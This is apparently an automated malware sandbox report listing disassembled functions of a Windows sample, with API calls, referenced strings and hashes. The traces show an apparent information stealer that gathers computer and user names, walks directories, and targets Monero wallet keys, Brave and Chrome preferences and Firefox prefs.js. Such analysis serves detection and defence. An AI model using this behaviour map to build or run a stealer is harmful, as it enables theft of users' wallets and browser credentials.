Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: cd44674056fc2f07052030c4508d9d01ba6e53de6d019f04f94cea1702393ec4
Instruction ID: 800b4a40c9547ab6f1e1073f157625b3221e36e6bfdd8a86ae83dda1e318d047
Opcode Fuzzy Hash: cd44674056fc2f07052030c4508d9d01ba6e53de6d019f04f94cea1702393ec4
Instruction Fuzzy Hash: D4F0E2B1641308BBEB14ABA4AC49FAAB7ECE705B15F300448F504E7280D5729E04DBA0

Function 00381190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397910
Part of subcall function 003978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00397917
Part of subcall function 003978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0039792F

Part of subcall function 00397850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003811B7), ref: 00397880
Part of subcall function 00397850: RtlAllocateHeap.NTDLL(00000000), ref: 00397887
Part of subcall function 00397850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0039789F

ExitProcess.KERNEL32 ref: 003811C6

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 6b55e9db2ca6386421c13d07d61fc5bab87c4f48a2e3e8f631e12406ec8e050c
Instruction ID: efc716be42fc1c0b06f9ace52067a309b9967597a2243c0c3a881fe42a4a6437
Opcode Fuzzy Hash: 6b55e9db2ca6386421c13d07d61fc5bab87c4f48a2e3e8f631e12406ec8e050c
Instruction Fuzzy Hash: 49E012B592430557CE0173B0AC0FF2A379C9B6534DF040465FA05D6142FA25E805966A

Non-executed Functions

Function 003938B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003938CC
FindFirstFileA.KERNEL32(?,?), ref: 003938E3
lstrcat.KERNEL32(?,?), ref: 00393935
StrCmpCA.SHLWAPI(?,003A0F70), ref: 00393947
StrCmpCA.SHLWAPI(?,003A0F74), ref: 0039395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00393C67
FindClose.KERNEL32(000000FF), ref: 00393C7C

Strings

%s\*, xrefs: 003938C0
%s%s, xrefs: 00393AAD
%s\%s, xrefs: 0039397A
%s\%s\%s, xrefs: 00393A4A
%s\%s, xrefs: 00393A6F

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 95438b918410391c9fea37fc71eca75ad884f2caf3625aa7025e69796e9bc87c
Instruction ID: c3a8975c45701afbfdd6477c2a058f95b87eed1f78da8170ee7784bcb7b6a0c3
Opcode Fuzzy Hash: 95438b918410391c9fea37fc71eca75ad884f2caf3625aa7025e69796e9bc87c
Instruction Fuzzy Hash: E5A140B19006089FDF25DFA4DC85FEA7778FB59304F044588E60DA6141EB759B88CFA2

Function 0038BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,003A0B32,003A0B2B,00000000,?,?,?,003A13F4,003A0B2A), ref: 0038BEF5
StrCmpCA.SHLWAPI(?,003A13F8), ref: 0038BF4D
StrCmpCA.SHLWAPI(?,003A13FC), ref: 0038BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0038C7BF
FindClose.KERNEL32(000000FF), ref: 0038C7D1

Strings

Preferences, xrefs: 0038C11E
Brave, xrefs: 0038C102
\Brave\Preferences, xrefs: 0038C1DB
Google Chrome, xrefs: 0038C634

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: e9bc892d8442f81ffbfcf2cce85dced2ab5c2a07976f6540101f54c1097526a1
Instruction ID: acfa79fac32e22a3d3e9d850a189269070a2ba84c4ec9f30890168540800bc32
Opcode Fuzzy Hash: e9bc892d8442f81ffbfcf2cce85dced2ab5c2a07976f6540101f54c1097526a1
Instruction Fuzzy Hash: BA4255729106089BDF16FBB0DD96EED777DAB54300F404698F50A9A081EF349B49CBE2

Function 00394910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0039492C
FindFirstFileA.KERNEL32(?,?), ref: 00394943
StrCmpCA.SHLWAPI(?,003A0FDC), ref: 00394971
StrCmpCA.SHLWAPI(?,003A0FE0), ref: 00394987
FindNextFileA.KERNEL32(000000FF,?), ref: 00394B7D
FindClose.KERNEL32(000000FF), ref: 00394B92

Strings

%s\*, xrefs: 00394920
%s\%s, xrefs: 003949FB
%s\%s, xrefs: 003949A4

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2e81663ea0b5480c4543807f6ddef3af01c6070bf2b633eee2796d0d0ca5f5c1
Instruction ID: 17ecaf162a809959499993bf59871151009994cc5e72bcec8d25752c86204a09
Opcode Fuzzy Hash: 2e81663ea0b5480c4543807f6ddef3af01c6070bf2b633eee2796d0d0ca5f5c1
Instruction Fuzzy Hash: 6F6164B2900618AFCF25EBA0DC49EEA77BCFB59704F044588F549A6040EB759B89CF91

Function 00394570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00394580
RtlAllocateHeap.NTDLL(00000000), ref: 00394587
wsprintfA.USER32 ref: 003945A6
FindFirstFileA.KERNEL32(?,?), ref: 003945BD
StrCmpCA.SHLWAPI(?,003A0FC4), ref: 003945EB
StrCmpCA.SHLWAPI(?,003A0FC8), ref: 00394601
FindNextFileA.KERNEL32(000000FF,?), ref: 0039468B
FindClose.KERNEL32(000000FF), ref: 003946A0
lstrcat.KERNEL32(?,0115E858), ref: 003946C5
lstrcat.KERNEL32(?,0115DAC0), ref: 003946D8
lstrlen.KERNEL32(?), ref: 003946E5
lstrlen.KERNEL32(?), ref: 003946F6

Strings

%s\%s, xrefs: 0039461B
%s\*, xrefs: 0039459A

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 78eb76d3e2728e804953fdc3e252be917b39748e627dbee17545957aca917dbd
Instruction ID: 9fb4a68e76a8f11cef5f80f255d5ce961b7dfaeaa695682f216887ff39fb0488
Opcode Fuzzy Hash: 78eb76d3e2728e804953fdc3e252be917b39748e627dbee17545957aca917dbd
Instruction Fuzzy Hash: CF5166B290021C9FCB25EBB0DC89FED777CEB58304F404588F60996190EB759B898F92

Function 00393EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00393EC3
FindFirstFileA.KERNEL32(?,?), ref: 00393EDA
StrCmpCA.SHLWAPI(?,003A0FAC), ref: 00393F08
StrCmpCA.SHLWAPI(?,003A0FB0), ref: 00393F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0039406C
FindClose.KERNEL32(000000FF), ref: 00394081

Strings

%s\%s, xrefs: 00393EB7

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 825499c665a6fb28f6f7ed5093a704ddb6b3af131655246e4e26740c846ba1cc
Instruction ID: ac134226c8a142292185540a1a6c4351128ecff7f9b773924a59eb9737d7c940
Opcode Fuzzy Hash: 825499c665a6fb28f6f7ed5093a704ddb6b3af131655246e4e26740c846ba1cc
Instruction Fuzzy Hash: 4F5156B2900618AFCF25FBB0DC85EEA777CBB54704F004588F65996040EB759B8A8F91

Function 0038ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0038ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0038ED55
StrCmpCA.SHLWAPI(?,003A1538), ref: 0038EDAB
StrCmpCA.SHLWAPI(?,003A153C), ref: 0038EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0038F2AE
FindClose.KERNEL32(000000FF), ref: 0038F2C3

Strings

%s\*.*, xrefs: 0038ED32

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: db1615eeeea62dd4f8f7c49b106757dc41fdd83c57e9c2490b61f211f9b56656
Instruction ID: 5cb5283eba525e577deeeabbedd988c94372c50047f3a96566bf2890de7373ea
Opcode Fuzzy Hash: db1615eeeea62dd4f8f7c49b106757dc41fdd83c57e9c2490b61f211f9b56656
Instruction Fuzzy Hash: 1FE1F1729116189AEF56FB60CC52EEE7778AF54300F4042D9B50A66052EF306F8ADF92

Function 0038F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003A15B8,003A0D96), ref: 0038F71E
StrCmpCA.SHLWAPI(?,003A15BC), ref: 0038F76F
StrCmpCA.SHLWAPI(?,003A15C0), ref: 0038F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0038FAB1
FindClose.KERNEL32(000000FF), ref: 0038FAC3

Strings

prefs.js, xrefs: 0038F812

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c850de1f326e7325085e5567317f8e005f8b5387cead9a951ecbb7ab576a05b2
Instruction ID: 345190553593bfe3a6165fd0bb3eb4775beada9ea58b0bd76d1a38f9673c7302
Opcode Fuzzy Hash: c850de1f326e7325085e5567317f8e005f8b5387cead9a951ecbb7ab576a05b2
Instruction Fuzzy Hash: 9DB130719106189FDF26FB60DC96EEE7779AF54300F4082A8E40A9A141EF316B49CFD2

Function 003816D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003A510C,?,?,?,003A51B4,?,?,00000000,?,00000000), ref: 00381923
StrCmpCA.SHLWAPI(?,003A525C), ref: 00381973
StrCmpCA.SHLWAPI(?,003A5304), ref: 00381989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00381D40
DeleteFileA.KERNEL32(00000000), ref: 00381DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00381E20
FindClose.KERNEL32(000000FF), ref: 00381E32

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Strings

\*.*, xrefs: 003817F1

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e8bc45e8eb5968bd0ddab93fff29ab825be0027592622213ad00f45450d1dcb5
Instruction ID: 3a0518717faf1c9664d67be8a45899cd1d89ffe58afa35426af9825ce381a83b
Opcode Fuzzy Hash: e8bc45e8eb5968bd0ddab93fff29ab825be0027592622213ad00f45450d1dcb5
Instruction Fuzzy Hash: 7A12DD719246189BDF1AFB60CC96EEE7778AF54300F404299B50A6A091EF306F89DFD1

Function 0038DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,003A0C2E), ref: 0038DE5E
StrCmpCA.SHLWAPI(?,003A14C8), ref: 0038DEAE
StrCmpCA.SHLWAPI(?,003A14CC), ref: 0038DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0038E3E0
FindClose.KERNEL32(000000FF), ref: 0038E3F2

Strings

\*.*, xrefs: 0038DE26

Memory Dump Source

